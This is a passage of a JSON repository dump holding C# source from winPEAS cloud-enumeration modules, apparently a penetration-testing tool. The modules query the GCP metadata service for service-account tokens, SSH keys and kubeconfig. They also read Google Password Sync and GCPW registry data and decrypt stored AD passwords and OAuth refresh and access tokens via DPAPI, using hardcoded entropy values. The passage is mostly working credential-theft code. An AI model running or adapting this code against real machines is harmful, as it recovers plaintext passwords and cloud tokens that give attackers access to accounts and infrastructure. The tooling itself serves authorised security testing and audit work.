    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security.Cryptography;\nusing System.Text;\nusing winPEAS.Helpers;\nusing System.Data.SQLite;\nusing Org.BouncyCastle.Crypto;\nusing Org.BouncyCastle.Crypto.Parameters;\nusing Org.BouncyCastle.Crypto.Modes;\nusing System.Linq;\nusing Microsoft.Win32;\nusing System.Web.Script.Serialization;\n\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class GCDSInfo : CloudInfoBase\n    {\n        public override string Name => \"Google Cloud Directory Sync\";\n\n        public override bool IsCloud => CheckIfGCDSInstalled();\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        public static bool CheckIfGCDSInstalled()\n        {\n            string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys(\"HKCU\", @\"SOFTWARE\\JavaSoft\\Prefs\\com\\google\\usersyncapp\\util\");\n            bool regExists = check != null && check.Length > 0;\n            bool result = regExists || File.Exists(@\"C:\\Program Files\\Google Cloud Directory Sync\\config-manager.exe\");\n            return result;\n        }\n\n        private List<EndpointData> GetGCDSRegValues()\n        {\n            Dictionary<string, string> GCDSRegValues = new Dictionary<string, string>();\n            GCDSRegValues.Add(\"V2.configured\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKCU\", @\"SOFTWARE\\JavaSoft\\Prefs\\com\\google\\usersyncapp\\util\", @\"/Encryption/Policy/V2.configured\"));\n            GCDSRegValues.Add(\"V2.iv\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKCU\", @\"SOFTWARE\\JavaSoft\\Prefs\\com\\google\\usersyncapp\\util\", @\"/Encryption/Policy/V2.iv\").Replace(\"/\", \"\").Replace(\"\\\\\",\"/\"));\n            GCDSRegValues.Add(\"V2.key\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKCU\", @\"SOFTWARE\\JavaSoft\\Prefs\\com\\google\\usersyncapp\\util\", @\"/Encryption/Policy/V2.key\").Replace(\"/\", \"\").Replace(\"\\\\\", \"/\"));\n            string openRecent = Helpers.Registry.RegistryHelper.GetRegValue(\"HKCU\", @\"SOFTWARE\\JavaSoft\\Prefs\\com\\google\\usersyncapp\\ui\", @\"open.recent\");\n            GCDSRegValues.Add(\"Open recent confs\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKCU\", @\"SOFTWARE\\JavaSoft\\Prefs\\com\\google\\usersyncapp\\ui\", @\"open.recent\"));\n\n            List<string> filePaths = new List<string>(openRecent.Split(new string[] { \"/u000a\" }, StringSplitOptions.None));\n\n            foreach (var filePath in filePaths)\n            {\n                // Normalize the path by replacing triple slashes and double slashes with single slashes\n                string normalizedPath = filePath.Replace(\"///\", \"/\").Replace(\"//\", \"/\");\n\n                // Remove any leading slashes that shouldn't be there\n                if (normalizedPath.StartsWith(\"/\"))\n                {\n                    normalizedPath = normalizedPath.Substring(1);\n                }\n\n                // Check if file exists\n                if (File.Exists(normalizedPath))\n                {\n                    try\n                    {\n                        // Read and print the file content\n                        string fileContent = File.ReadAllText(normalizedPath);\n                        List<EndpointData> _endpointDataList_cust = new List<EndpointData>();\n                        _endpointDataList_cust.Add(new EndpointData()\n                        {\n                            EndpointName = @\"Content\",\n                            Data = fileContent,\n                            IsAttackVector = false\n                        });\n                        _endpointData.Add(normalizedPath, _endpointDataList_cust);\n                    }\n                    catch (Exception ex)\n                    {\n                        Beaprint.PrintException($\"Could not open file {normalizedPath}: {ex.Message}\");\n                    }\n                }\n                else\n                {\n                    Beaprint.PrintException($\"File {normalizedPath} does not exist.\");\n                }\n            }\n\n            // Format the info in expected CloudInfo format\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            foreach (var kvp in GCDSRegValues)\n            {\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = kvp.Key,\n                    Data = kvp.Value?.Trim(),\n                    IsAttackVector = false\n                });\n            }\n\n            return _endpointDataList;\n        }\n        \n\n        public override Dictionary<string, List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n\n                try\n                {\n                    if (IsAvailable)\n                    {\n                        _endpointData.Add(\"Local Info\", GetGCDSRegValues());\n                    }\n                    else\n                    {\n                        _endpointData.Add(\"General Info\", new List<EndpointData>()\n                        {\n                            new EndpointData()\n                            {\n                                EndpointName = \"\",\n                                Data = null,\n                                IsAttackVector = false\n                            }\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            return _endpointData;\n        }\n\n        public override bool TestConnection()\n        {\n            return true;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Net;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class GCPInfo : CloudInfoBase\n    {\n        public override string Name => \"Google Cloud Platform\";\n\n        const string GCP_BASE_URL = \"http://{URL_BASE}/\";\n        const string GCP_FOLDER = \"C:\\\\Program Files\\\\Google\\\\Compute Engine\\\\\";\n        \n        /*\n             C:\\Program Files\\Google\\Compute Engine\\agent\\GCEWindowsAgent.exe\"\n             C:\\Program Files\\Google\\OSConfig\\google_osconfig_agent.exe\"\n             c:\\Program Files (x86)\\Google\\Cloud SDK\" \n             http://metadata.google.internal         \n         */\n\n        public override bool IsCloud => Directory.Exists(GCP_FOLDER);\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        const string METADATA_URL_BASE = \"http://metadata.google.internal/computeMetadata/v1\";\n\n\n        public override Dictionary<string, List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n\n                try\n                {\n                    if (IsAvailable)\n                    {\n                        _endpointData.Add(\"GC Project Info\", GetGCProjectMetadataInfo());\n                        _endpointData.Add(\"OSLogin Info\", GetOSLoginMetadataInfo());\n                        _endpointData.Add(\"Instance Info\", GetInstanceMetadataInfo());\n                        _endpointData.Add(\"Interfaces\", GetInterfacesMetadataInfo());\n                        _endpointData.Add(\"User Data\", GetUserMetadataInfo());\n                        _endpointData.Add(\"Service Accounts\", GetServiceAccountsMetadataInfo());\n                    }\n                    else\n                    {\n                        _endpointData.Add(\"General Info\", new List<EndpointData>()\n                        {\n                            new EndpointData()\n                            {\n                                EndpointName = \"\",\n                                Data = null,\n                                IsAttackVector = false\n                            }\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            return _endpointData;          \n        }\n\n        private List<EndpointData> GetServiceAccountsMetadataInfo()\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>();\n\n            var serviceAccountsEndpointUrlBase = \"instance/service-accounts\";\n            var url = $\"{METADATA_URL_BASE}/{serviceAccountsEndpointUrlBase}\";\n            var serviceAccounts = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection { { \"X-Google-Metadata-Request\", \"True\" } });\n\n            // TODO\n            //  echo \"  Name: $sa\"  - ignored for now\n\n            foreach (var serviceAccount in serviceAccounts.Trim().Split('\\n'))\n            {\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Email\", $\"{serviceAccountsEndpointUrlBase}/{serviceAccount}email\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Aliases\", $\"{serviceAccountsEndpointUrlBase}/{serviceAccount}aliases\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Identity\", $\"{serviceAccountsEndpointUrlBase}/{serviceAccount}identity\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Scopes\", $\"{serviceAccountsEndpointUrlBase}/{serviceAccount}scopes\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Token\", $\"{serviceAccountsEndpointUrlBase}/{serviceAccount}token\", false));\n            }\n\n            var result = GetMetadataInfo(metadataEndpoints);\n\n            return result;\n        }\n\n        private List<EndpointData> GetUserMetadataInfo()\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"startup-script\", \"instance/attributes/startup-script\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints);\n\n            return result;\n        }\n\n        private List<EndpointData> GetInterfacesMetadataInfo()\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>();\n\n            var networkEndpointUrlBase = \"instance/network-interfaces\";\n            var url = $\"{METADATA_URL_BASE}/{networkEndpointUrlBase}\";\n            var ifaces = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection { { \"X-Google-Metadata-Request\", \"True\" } });            \n\n            foreach (var iface in ifaces.Trim().Split('\\n'))\n            {\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"IP\", $\"{networkEndpointUrlBase}/{iface}ip\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Subnetmask\", $\"{networkEndpointUrlBase}/{iface}subnetmask\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Gateway\", $\"{networkEndpointUrlBase}/{iface}gateway\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"DNS\", $\"{networkEndpointUrlBase}/{iface}dns-servers\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Network\", $\"{networkEndpointUrlBase}/{iface}network\", false));\n            }\n\n            var result = GetMetadataInfo(metadataEndpoints);\n\n            return result;\n        }\n\n        private List<EndpointData> GetInstanceMetadataInfo()\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"Instance Description\", \"instance/description\", false),\n                 new Tuple<string, string, bool>(\"Hostname\", \"instance/hostname\", false),\n                 new Tuple<string, string, bool>(\"Instance ID\", \"instance/id\", false),\n                 new Tuple<string, string, bool>(\"Instance Image\", \"instance/image\", false),\n                 new Tuple<string, string, bool>(\"Machine Type\", \"instance/machine-type\", false),\n                 new Tuple<string, string, bool>(\"Instance Name\", \"instance/name\", false),\n                 new Tuple<string, string, bool>(\"Instance tags\", \"instance/scheduling/tags\", false),\n                 new Tuple<string, string, bool>(\"Zone\", \"instance/zone\", false),\n                 new Tuple<string, string, bool>(\"K8s Cluster Location\", \"instance/attributes/cluster-location\", false),\n                 new Tuple<string, string, bool>(\"K8s Cluster name\", \"instance/attributes/cluster-name\", false),\n                 new Tuple<string, string, bool>(\"K8s OSLoging enabled\", \"instance/attributes/enable-oslogin\", false),\n                 new Tuple<string, string, bool>(\"K8s Kube-labels\", \"instance/attributes/kube-labels\", false),\n                 new Tuple<string, string, bool>(\"K8s Kubeconfig\", \"instance/attributes/kubeconfig\", false),\n                 new Tuple<string, string, bool>(\"K8s Kube-env\", \"instance/attributes/kube-env\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints);\n\n            return result;\n\n        }\n        private List<EndpointData> GetOSLoginMetadataInfo()\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"OSLogin users\", \"oslogin/users\", false),\n                 new Tuple<string, string, bool>(\"OSLogin Groups\", \"oslogin/groups\", false),\n                 new Tuple<string, string, bool>(\"OSLogin Security Keys\", \"oslogin/security-keys\", false),\n                 new Tuple<string, string, bool>(\"OSLogin Authorize\", \"oslogin/authorize\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints);\n\n            return result;\n        }\n\n        private List<EndpointData> GetGCProjectMetadataInfo()\n        {            \n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"Project-ID\", \"project/project-id\", false),\n                 new Tuple<string, string, bool>(\"Project Number\", \"project/numeric-project-id\", false),\n                 new Tuple<string, string, bool>(\"Project SSH-Keys\", \"project/attributes/ssh-keys\", false),\n                 new Tuple<string, string, bool>(\"All Project Attributes\", \"project/attributes/?recursive=true\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints);\n\n            return result;\n        }\n\n        private List<EndpointData> GetMetadataInfo(List<Tuple<string, string, bool>> endpointData)\n        {\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            foreach (var tuple in endpointData)\n            {\n                string url = $\"{METADATA_URL_BASE}/{tuple.Item2}\";\n                var result = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection { { \"X-Google-Metadata-Request\", \"True\" } });\n\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = tuple.Item1,\n                    Data = result?.Trim(),\n                    IsAttackVector = tuple.Item3\n                });\n            }\n\n            return _endpointDataList;\n        }\n\n        public override bool TestConnection()\n        {\n            return CreateMetadataAPIRequest(GCP_BASE_URL, \"GET\") != null;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security.Cryptography;\nusing System.Text;\nusing winPEAS.Helpers;\nusing System.Data.SQLite;\nusing Org.BouncyCastle.Crypto;\nusing Org.BouncyCastle.Crypto.Parameters;\nusing Org.BouncyCastle.Crypto.Modes;\nusing System.Linq;\nusing Microsoft.Win32;\nusing System.Web.Script.Serialization;\nusing System.Text.RegularExpressions;\nusing System.Runtime.InteropServices;\n\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class GPSInfo : CloudInfoBase\n    {\n        public override string Name => \"Google Password Sync\";\n\n        public override bool IsCloud => CheckIfGPSInstalled();\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        public static bool CheckIfGPSInstalled()\n        {\n            string[] check = Helpers.Registry.RegistryHelper.ListRegValues(\"HKLM\", @\"SOFTWARE\\Google\\Google Apps Password Sync\");\n            bool regExists = check != null && check.Length > 0;\n            bool result = regExists || File.Exists(@\"C:\\Program Files\\Google\\Password Sync\\PasswordSync.exe\") || File.Exists(@\"C:\\Program Files\\Google\\Password Sync\\password_sync_service.exe\");\n            return result;\n        }\n\n        private List<EndpointData> GetGPSValues()\n        {\n            Dictionary<string, string> GPSRegValues = new Dictionary<string, string>();\n\n            // Check config file\n            string path_config = @\"C:\\ProgramData\\Google\\Google Apps Password Sync\\config.xml\";\n            if (File.Exists(path_config))\n            {\n                try\n                {\n                    // Load the XML file\n                    string xmlContent = File.ReadAllText(path_config);\n\n                    // Extract values using Regex\n                    string baseDN = ExtractValue(xmlContent, @\"<baseDN>(.*?)<\\/baseDN>\");\n                    string authorizedUsername = ExtractValue(xmlContent, @\"<authorizedUsername>(.*?)<\\/authorizedUsername>\");\n                    string anonymousAccess = ExtractValue(xmlContent, @\"<useAnonymousAccess value=\"\"(.*?)\"\" \");\n\n                    // Output the extracted values\n                    GPSRegValues.Add(\"BaseDN\", baseDN);\n                    GPSRegValues.Add(\"AnonymousAccess\", anonymousAccess);\n                    GPSRegValues.Add(\"authorizedUsername\", authorizedUsername);\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(\"Error accessing the Google Password Sync configuration from 'C:\\\\ProgramData\\\\Google\\\\Google Apps Password Sync\\\\config.xml'\");\n                    Beaprint.PrintException(\"Exception: \" + ex.Message);\n                }\n            }\n\n            // Get registry valus and decrypt them\n            string hive = \"HKLM\";\n            string regAddr = @\"SOFTWARE\\Google\\Google Apps Password Sync\";\n            string[] subkeys = Helpers.Registry.RegistryHelper.ListRegValues(hive, regAddr);\n            if (subkeys == null || subkeys.Length == 0)\n            {\n                Beaprint.PrintException(\"WinPEAS need admin privs to check the registry for credentials\");\n            }\n            else\n            {\n                GPSRegValues.Add(\"Email\", Helpers.Registry.RegistryHelper.GetRegValue(hive, regAddr, @\"Email\"));\n\n                // Remove \"Email\" and \"address\" from the array\n                string[] filteredSubkeys = subkeys\n                    .Where(key => key != \"Email\" && key != \"AuthToken\" && key != \"ADPassword\" && key != \"(Default)\")\n                    .ToArray();\n\n                // Check if there are any subkeys left after filtering\n                if (filteredSubkeys.Length > 1)\n                {\n                    // Join the remaining subkeys with \", \" and print to the console\n                    GPSRegValues.Add(\"Other keys\", string.Join(\", \", filteredSubkeys) + \" (might contain credentials but WinPEAS doesn't support them)\");\n                }\n                else\n                {\n                    Console.WriteLine(\"No subkeys left after filtering.\");\n                }\n\n\n                // Check if AuthToken in the registry\n                string authtokenInReg = Helpers.Registry.RegistryHelper.GetRegValue(hive, regAddr, @\"AuthToken\");\n                if (authtokenInReg.Length > 0)\n                {\n                    try\n                    {\n                        Native.Advapi32 advapi = new Native.Advapi32();\n                        byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };\n\n                        // Decrypt auth token\n                        byte[] encryptedEncodedAuthToken = advapi.ReadRegistryValue(regAddr, @\"AuthToken\");\n                        byte[] decryptedData = DecryptData(encryptedEncodedAuthToken, entropyBytes);\n                        string base32hexEncodedString = Encoding.Unicode.GetString(decryptedData).TrimEnd('\\0');\n\n                        // Decode decrypted auth token\n                        byte[] originalData = Base32HexDecoder.Decode(base32hexEncodedString);\n                        string plainAuthToken = Encoding.Unicode.GetString(originalData).TrimEnd('\\0');\n\n                        // Find tokens via regexes\n                        string accessTokenRegex = @\"ya29\\.[a-zA-Z0-9_\\-]{50,}\";\n                        string refreshTokenRegex = @\"1//[a-zA-Z0-9_\\-]{50,}\";\n\n                        MatchCollection accesTokens = Regex.Matches(plainAuthToken, accessTokenRegex);\n                        MatchCollection refreshTokens = Regex.Matches(plainAuthToken, refreshTokenRegex);\n\n                        if (refreshTokens.Count > 0)\n                        {\n                            GPSRegValues.Add(\"Decrypted refresh token\", refreshTokens[0].Value);\n                        }\n\n                        if (accesTokens.Count > 0)\n                        {\n                            GPSRegValues.Add(\"Decrypted access token\", accesTokens[0].Value);\n                        }\n                    }\n                    catch (Exception ex)\n                    {\n                        Beaprint.PrintException(\"Error trying to decrypt and decode the AuthToken. You will need to check it yourself. It's in \" + hive + \"\\\\\" + regAddr + \" (key: AuthToken)\\nError was: \" + ex.Message);\n                        GPSRegValues.Add(\"authToken (error)\", \"Error trying to decrypt and decode the AuthToken. You will need to check it yourself. It's in \" + hive + \"\\\\\" + regAddr);\n                    }\n                }\n\n                string adpasswordInReg = Helpers.Registry.RegistryHelper.GetRegValue(hive, regAddr, @\"ADPassword\");\n                if (adpasswordInReg.Length > 0)\n                {\n                    try\n                    {\n                        Native.Advapi32 advapi = new Native.Advapi32();\n                        byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };\n\n\n                        // Decrypt auth token\n                        byte[] encryptedEncodedAuthToken = advapi.ReadRegistryValue(regAddr, @\"ADPassword\");\n                        byte[] decryptedData = DecryptData(encryptedEncodedAuthToken, entropyBytes);\n                        string plainPasswd = Encoding.Unicode.GetString(decryptedData).TrimEnd('\\0');\n                        GPSRegValues.Add(\"ADPassword decrypted\", plainPasswd);\n                    }\n                    catch (Exception ex)\n                    {\n                        Beaprint.PrintException(\"Error trying to decrypt and decode the ADPassword. You will need to check it yourself. It's in \" + hive + \"\\\\\" + regAddr + \" (key: ADPassword)\\nError was: \" + ex.Message);\n                        GPSRegValues.Add(\"ADPassword (error)\", \"Error trying to decrypt and decode the AuthToken. You will need to check it yourself. It's in \" + hive + \"\\\\\" + regAddr);\n                    }\n                }\n            }\n\n            // Format the info in expected CloudInfo format\n            List <EndpointData> _endpointDataList = new List<EndpointData>();\n\n            foreach (var kvp in GPSRegValues)\n            {\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = kvp.Key,\n                    Data = kvp.Value?.Trim(),\n                    IsAttackVector = false\n                });\n            }\n\n            return _endpointDataList;\n        }\n\n        public string ExtractValue(string input, string pattern)\n        {\n            Match match = Regex.Match(input, pattern);\n            if (match.Success)\n            {\n                return match.Groups[1].Value;\n            }\n            return \"Not found\";\n        }\n\n\n        public override Dictionary<string, List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n\n                try\n                {\n                    if (IsAvailable)\n                    {\n                        _endpointData.Add(\"Local Info\", GetGPSValues());\n                    }\n                    else\n                    {\n                        _endpointData.Add(\"General Info\", new List<EndpointData>()\n                        {\n                            new EndpointData()\n                            {\n                                EndpointName = \"\",\n                                Data = null,\n                                IsAttackVector = false\n                            }\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            return _endpointData;\n        }\n\n        public override bool TestConnection()\n        {\n            return true;\n        }\n\n        public byte[] DecryptData(byte[] encryptedData, byte[] entropyBytes)\n        {\n            Native.Crypt32.DATA_BLOB dataIn = new Native.Crypt32.DATA_BLOB();\n            Native.Crypt32.DATA_BLOB dataOut = new Native.Crypt32.DATA_BLOB();\n            Native.Crypt32.DATA_BLOB optionalEntropy = new Native.Crypt32.DATA_BLOB();\n\n            try\n            {\n                // Prepare the DATA_BLOB for input data\n                dataIn.pbData = Marshal.AllocHGlobal(encryptedData.Length);\n                dataIn.cbData = encryptedData.Length;\n                Marshal.Copy(encryptedData, 0, dataIn.pbData, encryptedData.Length);\n\n                // Initialize output DATA_BLOB\n                dataOut.pbData = IntPtr.Zero;\n                dataOut.cbData = 0;\n\n                // Prepare the DATA_BLOB for optional entropy\n                optionalEntropy.pbData = Marshal.AllocHGlobal(entropyBytes.Length);\n                optionalEntropy.cbData = entropyBytes.Length;\n                Marshal.Copy(entropyBytes, 0, optionalEntropy.pbData, entropyBytes.Length);\n\n                // Call CryptUnprotectData with optional entropy\n                bool success = Native.Crypt32.CryptUnprotectData(\n                    ref dataIn,\n                    null,\n                    ref optionalEntropy,\n                    IntPtr.Zero,\n                    IntPtr.Zero,\n                    0,\n                    ref dataOut);\n\n                if (!success)\n                    throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());\n                // Copy decrypted data to a byte array\n                byte[] decryptedData = new byte[dataOut.cbData + 2];\n                Marshal.Copy(dataOut.pbData, decryptedData, 0, dataOut.cbData);\n\n                return decryptedData;\n            }\n            finally\n            {\n                // Free allocated memory\n                if (dataIn.pbData != IntPtr.Zero)\n                    Marshal.FreeHGlobal(dataIn.pbData);\n                if (dataOut.pbData != IntPtr.Zero)\n                    Marshal.FreeHGlobal(dataOut.pbData);\n                if (optionalEntropy.pbData != IntPtr.Zero)\n                    Marshal.FreeHGlobal(optionalEntropy.pbData);\n            }\n        }\n    }\n}\n\n\n\n\npublic static class Base32HexDecoder\n{\n    private static readonly char[] Alphabet = \"0123456789abcdefghijklmnopqrstuv\".ToCharArray();\n    private static readonly Dictionary<char, int> CharMap = new Dictionary<char, int>();\n\n    static Base32HexDecoder()\n    {\n        for (int i = 0; i < Alphabet.Length; i++)\n        {\n            CharMap[Alphabet[i]] = i;\n        }\n    }\n\n    public static byte[] Decode(string input)\n    {\n        input = input.ToLowerInvariant();\n        List<byte> bytes = new List<byte>();\n\n        int buffer = 0;\n        int bitsLeft = 0;\n\n        foreach (char c in input)\n        {\n            if (!CharMap.ContainsKey(c))\n                throw new ArgumentException(\"Invalid character in base32hex string.\");\n\n            buffer = (buffer << 5) | CharMap[c];\n            bitsLeft += 5;\n\n            if (bitsLeft >= 8)\n            {\n                bitsLeft -= 8;\n                bytes.Add((byte)((buffer >> bitsLeft) & 0xFF));\n            }\n        }\n\n        return bytes.ToArray();\n    }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security.Cryptography;\nusing System.Text;\nusing winPEAS.Helpers;\nusing System.Data.SQLite;\nusing Org.BouncyCastle.Crypto;\nusing Org.BouncyCastle.Crypto.Parameters;\nusing Org.BouncyCastle.Crypto.Modes;\nusing System.Linq;\nusing Microsoft.Win32;\nusing System.Web.Script.Serialization;\n\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class GCPJoinedInfo : CloudInfoBase\n    {\n        public override string Name => \"Google Workspace Joined\";\n\n        public override bool IsCloud => CheckIfGCPWUsers();\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        private List<EndpointData> GetWorkspaceRegValues()\n        {\n            Dictionary<string, string> workspaceRegValues = new Dictionary<string, string>();\n            workspaceRegValues.Add(\"Domains Allowed\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\", @\"domains_allowed_to_login\"));\n\n            // Get all values from all subregistries of Users\n            string[] users = Helpers.Registry.RegistryHelper.GetRegSubkeys(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\");\n            for (int i = 0; i < users.Length; i++)\n            {\n                workspaceRegValues.Add($\"HKLM Workspace user{i}\", users[i]);\n                workspaceRegValues.Add($\"    Email{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"email\"));\n                workspaceRegValues.Add($\"    Domain{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"domain\"));\n                workspaceRegValues.Add($\"    Id{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"id\"));\n                workspaceRegValues.Add($\"    Pic{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"pic\"));\n                workspaceRegValues.Add($\"    User Name{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"user_name\"));\n                workspaceRegValues.Add($\"    Last Policy Refresh Time{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"last_policy_refresh_time\"));\n                workspaceRegValues.Add($\"    Last Token Valid Millis{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"last_token_valid_millis\"));\n                workspaceRegValues.Add($\"    Token Handle{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\\\" + users[i], @\"th\"));\n            }\n\n            string[] users3 = Helpers.Registry.RegistryHelper.GetRegSubkeys(\"HCKU\", @\"SOFTWARE\\Google\\Accounts\");\n            if (users3.Length > 0)\n            {\n                workspaceRegValues.Add($\"HKU Workspace user\", System.Security.Principal.WindowsIdentity.GetCurrent().Name);\n            }\n                \n            for (int i = 0; i < users3.Length; i++)\n            {\n                workspaceRegValues.Add($\"    HKU-Email{i}\", Helpers.Registry.RegistryHelper.GetRegValue(\"HCKU\", @\"SOFTWARE\\Google\\Accounts\\\"+ users3[i], @\"email\"));\n                string refreshTokenPath = @\"HKEY_CURRENT_USER\\SOFTWARE\\Google\\Accounts\\\" + users3[i];\n                byte[] refreshTokenB = (byte[])Registry.GetValue(refreshTokenPath, @\"refresh_token\", null);\n                if (refreshTokenB.Length > 0)\n                {\n                    string refreshTokenDecrypted = DecryptRegRefreshToken(refreshTokenPath);\n                    if (refreshTokenDecrypted.Length > 0)\n                        workspaceRegValues.Add($\"    HKU-Refresh Token{i}\", refreshTokenDecrypted);\n                }\n            }\n\n            // Get cloud management tokens\n            workspaceRegValues.Add(\"Chrome Enrollment Token\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Policies\\Google\\Chrome\", @\"CloudManagementEnrollmentToken\"));\n            workspaceRegValues.Add(\"Workspace Enrollment Token\", Helpers.Registry.RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Policies\\Google\\CloudManagement\", @\"EnrollmentToken\"));\n\n            // Format the info in expected CloudInfo format\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            foreach (var kvp in workspaceRegValues)\n            {\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = kvp.Key,\n                    Data = kvp.Value?.Trim(),\n                    IsAttackVector = false\n                });\n            }\n\n            return _endpointDataList;\n        }\n\n        static string DecryptRegRefreshToken(string registryPath)\n        {\n            // Define the registry path where the refresh token is stored\n            string valueName = \"refresh_token\";\n\n            // Retrieve the encrypted refresh token from the registry\n            byte[] encryptedRefreshToken = (byte[])Registry.GetValue(registryPath, valueName, null);\n\n            if (encryptedRefreshToken == null || encryptedRefreshToken.Length == 0)\n            {\n                Console.WriteLine(\"No encrypted refresh token found in the registry.\");\n                return \"\";\n            }\n\n            try\n            {\n                // Decrypt the refresh token using CryptUnprotectData\n                byte[] decryptedTokenBytes = ProtectedData.Unprotect(\n                    encryptedRefreshToken,\n                    null, // No additional entropy\n                    DataProtectionScope.CurrentUser // Use the current user's scope\n                );\n\n                // Convert the decrypted token to an ASCII string\n                string refreshToken = Encoding.ASCII.GetString(decryptedTokenBytes);\n                return refreshToken;\n            }\n            catch (Exception ex)\n            {\n                Console.WriteLine(\"Error decrypting the refresh token: \" + ex.Message);\n            }\n            return \"\";\n        }\n\n        public static bool CheckIfGCPWUsers()\n        {\n            string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys(\"HKLM\", @\"SOFTWARE\\Google\\GCPW\\Users\");\n            return check != null && check.Length > 0; \n        }\n\n        public override Dictionary<string, 